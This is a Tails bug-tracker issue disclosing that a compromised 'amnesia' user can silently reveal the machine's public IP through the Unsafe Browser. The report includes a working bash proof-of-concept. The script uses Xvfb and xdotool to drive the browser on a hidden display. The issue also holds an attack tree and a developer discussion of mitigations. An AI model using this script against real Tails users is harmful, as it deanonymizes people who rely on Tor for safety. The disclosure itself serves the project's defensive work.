Project

General

Profile

Bug #15635

Feature #7072: Research potential for deanonymization by a compromised "amnesia" user

The Unsafe Browser allows to retrieve the public IP address by a compromised amnesia user with no user interaction

Added by cypherpunks about 1 year ago. Updated about 13 hours ago.

Status:
Confirmed
Priority:
Elevated
Assignee:
-
Category:
-
Target version:
-
Start date:
06/04/2018
Due date:
% Done:

0%

Feature Branch:
Type of work:
Research
Blueprint:
Starter:
Affected tool:
Unsafe Browser

Description

The X11 protocol has long been known to not provide isolation between windows. Here I will show that it can be abused to bypass the firewall without any user interaction or visible side-effects by abusing the Unsafe Browser. I also provide mitigations while waiting for the switch to Wayland.

The existence of the clearnet user and the sudoers whitelist1 for the Unsafe Browser makes it possible to reliably bypass the firewall by abusing the X11 protocol. Previously, I've seen doubts that this can be done surreptitiously and claims that it would necessarily require that the users see the browser pop up and the mouse be moved without their control. I have written a simple PoC (proof of concept) exploit which bypasses the firewall to show that is untrue:

#!/bin/bash

export DISPLAY=:69
mv /run/user/1000/bus{,.bak}

Xvfb $DISPLAY -r -nocursor & xpid=$!
sleep 1

sudo DISPLAY=$DISPLAY unsafe-browser &>/dev/null &

xdotool search --sync --name zenity 1>/dev/null
xdotool key --delay 200 Tab Return

xdotool search --sync --name Unsafe 1>/dev/null
xdotool key --delay 200 ctrl+l
xdotool type --delay 200 www.yourip.us
xdotool key --delay 200 Return

xdotool search --sync --name Your getwindowname | awk '{print $5}'

mv /run/user/1000/bus{.bak,}
kill "$xpid" 
exit 0

The Unsafe Browser, or more specifically the clearnet user, should not be enabled and functional by default. Whenever it is not needed, the clearnet user should be locked, and the Unsafe Browser should either throw an error on access or not even be displayed. I can think of three mitigations:

  1. Disable the browser by default, requiring it to be explicitly enabled in the splash screen.
  2. Disable the browser as soon as Tor successfully connects, which would indicate no captive portal.
  3. Attempt captive portal detection2 to detect request rewrites and enable the Unsafe Browser only then.

I am marking this as a bug because this PoC clearly shows that the Unsafe Browser violates the security principles in the specified design documents3. Until the switch to Wayland is completed (and perhaps even then), the existence of the clearnet user should be considered incompatible with anonymous Tor usage. I am currently working on another exploit which bypasses the browser AppArmor profile without user interaction in order for this to be possible from within the context of a compromised browser as well. If I have the time, I will finish it up and report it as well.

[1]: https://git-tails.immerda.ch/tails/plain/config/chroot_local-includes/etc/sudoers.d/zzz_unsafe-browser
[2]: https://www.chromium.org/chromium-os/chromiumos-design-docs/network-portal-detection
[3]: https://tails.boum.org/contribute/design/Unsafe_Browser/


Related issues

Related to Tails - Feature #5785: Detect captive portals when Tor fails to connect Confirmed 09/26/2014
Related to Tails - Feature #10491: Redesign the network configuration and startup Confirmed 06/22/2014
Related to Tails - Feature #12213: Wayland in Tails 5.0 (Bullseye) In Progress 09/02/2017
Blocks Tails - Feature #16209: Core work: Foundations Team Confirmed 03/22/2019

History

#1 Updated by cypherpunks about 1 year ago

I also wonder if the PELD threat model has the goal of preventing deanonymization in the case that an exploit used against Tor Browser compromises it. If so, then treating the Unsafe Browser as incompatible with anonymity is even more important, since a working exploit against Tor Browser implies a working exploit against the Unsafe Browser. An attacker who can compromise Tor Browser can subsequently serve the same exploit page to the Unsafe Browser to compromise the un-firewalled clearnet user and gain access to the open internet.

#2 Updated by intrigeri about 1 year ago

Thanks, I'll look into it.

#3 Updated by emmapeel about 1 year ago

  • Assignee set to intrigeri

#4 Updated by mercedes508 about 1 year ago

  • Status changed from New to Confirmed

#5 Updated by intrigeri about 1 year ago

  • Related to Feature #7072: Research potential for deanonymization by a compromised "amnesia" user added

#6 Updated by intrigeri about 1 year ago

  • Related to Feature #5785: Detect captive portals when Tor fails to connect added

#7 Updated by intrigeri about 1 year ago

  • Related to Feature #10491: Redesign the network configuration and startup added

#8 Updated by intrigeri about 1 year ago

  • Subject changed from Disable the Unsafe Browser by default to The Unsafe Browser allows to retrieve the public IP address by a compromised amnesia user with no user interaction
  • Assignee deleted (intrigeri)
  • Parent task set to #7072
  • Type of work changed from Code to Research

Retitling to describe the problem rather than one of its many potential solutions.

I'm classifying this as part of #7072. I'd rather not spend too much UX + dev time on the specific case of the Unsafe Browser:

  • before we have a clear overview of what the various threats are
  • before we see some progress on either the move to Wayland or #10491 or #5785 (I'm not sure about the 2 latter ones but I suspect we'll be running Wayland before the research on #7072 is done and UX/security conclusions are drawn: I'd rather see our UX people work on #10491 than on short-term mitigations)

Still, it's an important problem so I'm leaving priority = Elevated as-is.

#9 Updated by cypherpunks about 1 year ago

intrigeri wrote:

  • before we have a clear overview of what the various threats are

The threat model is simple. I wrote up a very quick attack tree that should be a fairly clear overview of the threats. Note that misc vectors like vulnerable image viewers are not taken into account, only the browser is.

                               +----------------+                                          
              +--------------- | User visits    | --------------+                          
              |                | malicious site |               |                          
Vulnerability |                +----------------+               | Social                   
              |                                                 | engineering              
              ˅                                                 ˅                          
        +-------------+                                +----------------+                  
        | Remote code |                                | User-assisted  |                  
        | execution   |                                | code execution |                  
        +-------------+                                +----------------+                  
              |                                                 |                          
     Shellcode|                                                 |                          
              |                                                 |                          
              ˅                                                 |                          
       +-------------+         +-------------+                  |                          
       |  Sandboxed  |         | Unsandboxed |                  |                          
       |  execution  | ------> | execution   |                  |                          
       +-------------+ Sandbox +-------------+                  |                          
              |        bypass         |                         |                          
   X11 hijack |                       |Abuse unsafe             | Abuse unsafe             
              |                       |browser                  | browser                  
              ˅                       ˅                         |                          
       +--------------+        +-----------------+              |                          
       |Noisy firewall|        | Silent firewall |              |                          
       |bypass        |        | bypass          | <------------+                          
       +--------------+        +-----------------+                                         
              |                       |                                                    
              |                       |                                                    
     User AFK |                       |                                                    
              |                       ˅                                                    
              |               +-----------------+                                          
              +-------------> |Deanonymization  |                                          
                              |                 |                                          
                              +-----------------+                                          

#10 Updated by cypherpunks about 1 year ago

Whoops, the "User-assisted code execution" block should connect to "Unsandboxed execution", not "Silent firewall bypass". My bad. The point should be clear, anyhow. I assume you don't need a more formal threat model?

#11 Updated by intrigeri about 1 month ago

#12 Updated by intrigeri about 1 month ago

#13 Updated by intrigeri about 1 month ago

Meta: I'm very sorry (and not proud at all) that I've postponed looking into this issue for so long. I've now put it on the radar of our Foundations Team to give it more exposure, avoid being personally the blocker here, and increase the chances someone else looks into it.

#14 Updated by segfault 3 days ago

cypherpunks wrote:

I can think of three mitigations:

1. Disable the browser by default, requiring it to be explicitly enabled in the splash screen.

I think simply adding this as a setting in the list of "Additional Settings" wouldn't require much UX and dev work. I could work on that.

2. Disable the browser as soon as Tor successfully connects, which would indicate no captive portal.

I like this idea, but it has a downside: If I travel with my laptop, and connected to Tor successfully once but then move on, I won't be able to use a different network with a captive portal without rebooting. (The same is of course true for solution 1 if I didn't already enable the unsafe browser in the greeter).

3. Attempt captive portal detection to detect request rewrites and enable the Unsafe Browser only then.

That seems like the solution that requires the most work. And I guess that this is only safe if the captive portal detection is done the first time a network connection is established after boot, because else the detection could be fooled by unsandboxed code execution and we wouldn't gain any security. So this also requires rebooting to use a captive portal after successfully establishing a network connection.

So I think I prefer solution 1 because it allows users to change networks without rebooting.

#15 Updated by segfault 3 days ago

intrigeri wrote:

I'm classifying this as part of #7072. I'd rather not spend too much UX + dev time on the specific case of the Unsafe Browser:
[...]
  • before we see some progress on either the move to Wayland or #10491 or #5785 (I'm not sure about the 2 latter ones but I suspect we'll be running Wayland before the research on #7072 is done and UX/security conclusions are drawn: I'd rather see our UX people work on #10491 than on short-term mitigations)

The proposals I read about on #10491 go into another direction: Moving the network configuration into an application run inside a Tails session, instead of the greeter. That wouldn't solve this issue at all.

#16 Updated by intrigeri 2 days ago

1. Disable the browser by default, requiring it to be explicitly enabled in the splash screen.

I think simply adding this as a setting in the list of "Additional Settings" wouldn't require much UX and dev work. I could work on that.

The main problem I see with this idea is that pretty often, one discovers they need to log into a captive portal after trying to connect to a Wi-Fi network.

#17 Updated by moonmoonmoon about 13 hours ago

I don't understand why anyone would consider it fine to have the unsafe browser enabled by default, when probably only 0.1% of tails users will ever use it, while it creates a huge security risk for 100% of Tails users. I think it should for sure be disabled by default. For the 0.1% of people that need it, it's fine if accessing it is slightly harder, as those people are aware of the fact that they need it.

Also available in: Atom PDF